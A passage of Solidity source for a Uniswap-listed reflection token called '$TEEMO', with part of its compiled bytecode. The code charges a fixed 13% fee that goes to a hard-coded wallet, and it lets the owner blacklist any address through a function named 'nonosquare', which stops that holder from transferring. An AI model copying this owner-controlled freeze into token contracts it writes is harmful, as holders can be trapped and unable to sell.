function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TEEMO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "$TEEMO";
string private constant _symbol = "$TEEMO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xD361193a1Bfa8381612343E4462C289d82023eaF);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 13;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 13;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000 * 10**9;
_maxWalletSize = 30000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612720565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127ea565b6104b4565b60405161018e9190612845565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286f565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d2565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a1b565b61060d565b60405161021f9190612845565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6e565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab7565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afe565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b2b565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6e565b6109dd565b604051610319919061286f565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b67565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d9190612720565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127ea565b610c9e565b6040516103da9190612845565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b2b565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b82565b611332565b60405161046e919061286f565b60405180910390f35b60606040518060400160405280600681526020017f245445454d4f0000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b9565b84846113c1565b6001905092915050565b6000683635c9adc5dea00000905090565b6104eb6113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0e565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8c565b91505061057b565b5050565b600061061a84848461158a565b6106db846106266113b9565b6106d6856040518060600160405280602881526020016136c360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1b9092919063ffffffff16565b6113c1565b600190509392505050565b6106ee6113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0e565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0e565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0e565b60405180910390fd5b6000811161093357600080fd5b610962606461095483683635c9adc5dea00000611c7f90919063ffffffff16565b611cf990919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b9565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d43565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611daf565b9050919050565b610a366113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0e565b60405180910390fd5b683635c9adc5dea00000600f81905550683635c9adc5dea00000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f245445454d4f0000000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b9565b848461158a565b6001905092915050565b610cc46113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0e565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83683635c9adc5dea00000611c7f90919063ffffffff16565b611cf990919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b9565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1d565b50565b610e186113b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0e565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113c1565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d55565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d55565b6040518363ffffffff1660e01b815260040161109c929190612d82565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d55565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612df0565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e66565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506801158e460913d00000600f819055506801a055690d9db800006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112eb929190612eb9565b6020604051808303816000875af115801561130a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132e9190612ef7565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611430576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142790612f96565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149690613028565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157d919061286f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f0906130ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611668576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165f9061314c565b60405180910390fd5b600081116116ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a2906131de565b60405180910390fd5b6000600a81905550600d600b819055506116c3610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117315750611701610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0b57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117da5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e357600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e45750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fc5750600e60179054906101000a900460ff165b15611a3a57600f54811115611946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193d9061324a565b60405180910390fd5b60105481611953846109dd565b61195d919061326a565b111561199e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119959061330c565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e957600080fd5b601e426119f6919061326a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae55750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b3b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b51576000600a81905550600d600b819055505b6000611b5c306109dd565b9050600e60159054906101000a900460ff16158015611bc95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611be15750600e60169054906101000a900460ff165b15611c0957611bef81611e1d565b60004790506000811115611c0757611c0647611d43565b5b505b505b611c16838383612096565b505050565b6000838311158290611c63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5a9190612720565b60405180910390fd5b5060008385611c72919061332c565b9050809150509392505050565b6000808303611c915760009050611cf3565b60008284611c9f9190613360565b9050828482611cae91906133e9565b14611cee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce59061348c565b60405180910390fd5b809150505b92915050565b6000611d3b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a6565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611dab573d6000803e3d6000fd5b5050565b6000600854821115611df6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ded9061351e565b60405180910390fd5b6000611e00612109565b9050611e158184611cf990919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5557611e5461288f565b5b604051908082528060200260200182016040528015611e835781602001602082028036833780820191505090505b5090503081600081518110611e9b57611e9a612c2e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f669190612d55565b81600181518110611f7a57611f79612c2e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fe130600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113c1565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120459594939291906135fc565b600060405180830381600087803b15801561205f57600080fd5b505af1158015612073573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120a1838383612134565b505050565b600080831182906120ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e49190612720565b60405180910390fd5b50600083856120fc91906133e9565b9050809150509392505050565b60008060006121166122ff565b9150915061212d8183611cf990919063ffffffff16565b9250505090565b60008060008060008061214687612361565b9550955095509550955095506121a486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228581612471565b61228f848361252e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ec919061286f565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea000009050612335683635c9adc5dea00000600854611cf990919063ffffffff16565b82101561235457600854683635c9adc5dea0000093509350505061235d565b81819350935050505b9091565b600080600080600080600080600061237e8a600a54600b54612568565b925092509250600061238e612109565b905060008060006123a18e8787876125fe565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c1b565b905092915050565b6000808284612422919061326a565b905083811015612467576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245e906136a2565b60405180910390fd5b8091505092915050565b600061247b612109565b905060006124928284611c7f90919063ffffffff16565b90506124e681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612543826008546123c990919063ffffffff16565b60088190555061255e8160095461241390919063ffffffff16565b6009819055505050565b6000806000806125946064612586888a611c7f90919063ffffffff16565b611cf990919063ffffffff16565b905060006125be60646125b0888b611c7f90919063ffffffff16565b611cf990919063ffffffff16565b905060006125e7826125d9858c6123c990919063ffffffff16565b6123c990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126178589611c7f90919063ffffffff16565b9050600061262e8689611c7f90919063ffffffff16565b905060006126458789611c7f90919063ffffffff16565b9050600061266e8261266085876123c990919063ffffffff16565b6123c990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126c15780820151818401526020810190506126a6565b838111156126d0576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f282612687565b6126fc8185612692565b935061270c8185602086016126a3565b612715816126d6565b840191505092915050565b6000602082019050818103600083015261273a81846126e7565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061278182612756565b9050919050565b61279181612776565b811461279c57600080fd5b50565b6000813590506127ae81612788565b92915050565b6000819050919050565b6127c7816127b4565b81146127d257600080fd5b50565b6000813590506127e4816127be565b92915050565b600080604083850312156128015761280061274c565b5b600061280f8582860161279f565b9250506020612820858286016127d5565b9150509250929050565b60008115159050919050565b61283f8161282a565b82525050565b600060208201905061285a6000830184612836565b92915050565b612869816127b4565b82525050565b60006020820190506128846000830184612860565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c7826126d6565b810181811067ffffffffffffffff821117156128e6576128e561288f565b5b80604052505050565b60006128f9612742565b905061290582826128be565b919050565b600067ffffffffffffffff8211156129255761292461288f565b5b602082029050602081019050919050565b600080fd5b600061294e6129498461290a565b6128ef565b9050808382526020820190506020840283018581111561297157612970612936565b5b835b8181101561299a5780612986888261279f565b845260208401935050602081019050612973565b5050509392505050565b600082601f8301126129b9576129b861288a565b5b81356129c984826020860161293b565b91505092915050565b6000602082840312156129e8576129e761274c565b5b600082013567ffffffffffffffff811115612a0657612a05612751565b5b612a12848285016129a4565b91505092915050565b600080600060608486031215612a3457612a3361274c565b5b6000612a428682870161279f565b9350506020612a538682870161279f565b9250506040612a64868287016127d5565b9150509250925092565b600060208284031215612a8457612a8361274c565b5b6000612a928482850161279f565b91505092915050565b600060ff82169050919050565b612ab181612a9b565b82525050565b6000602082019050612acc6000830184612aa8565b92915050565b612adb8161282a565b8114612ae657600080fd5b50565b600081359050612af881612ad2565b92915050565b600060208284031215612b1457612b1361274c565b5b6000612b2284828501612ae9565b91505092915050565b600060208284031215612b4157612b4061274c565b5b6000612b4f848285016127d5565b91505092915050565b612b6181612776565b82525050565b6000602082019050612b7c6000830184612b58565b92915050565b60008060408385031215612b9957612b9861274c565b5b6000612ba78582860161279f565b9250506020612bb88582860161279f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf8602083612692565b9150612c0382612bc2565b602082019050919050565b60006020820190508181036000830152612c2781612beb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c97826127b4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc957612cc8612c5d565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d0a601783612692565b9150612d1582612cd4565b602082019050919050565b60006020820190508181036000830152612d3981612cfd565b9050919050565b600081519050612d4f81612788565b92915050565b600060208284031215612d6b57612d6a61274c565b5b6000612d7984828501612d40565b91505092915050565b6000604082019050612d976000830185612b58565b612da46020830184612b58565b9392505050565b60008190509190505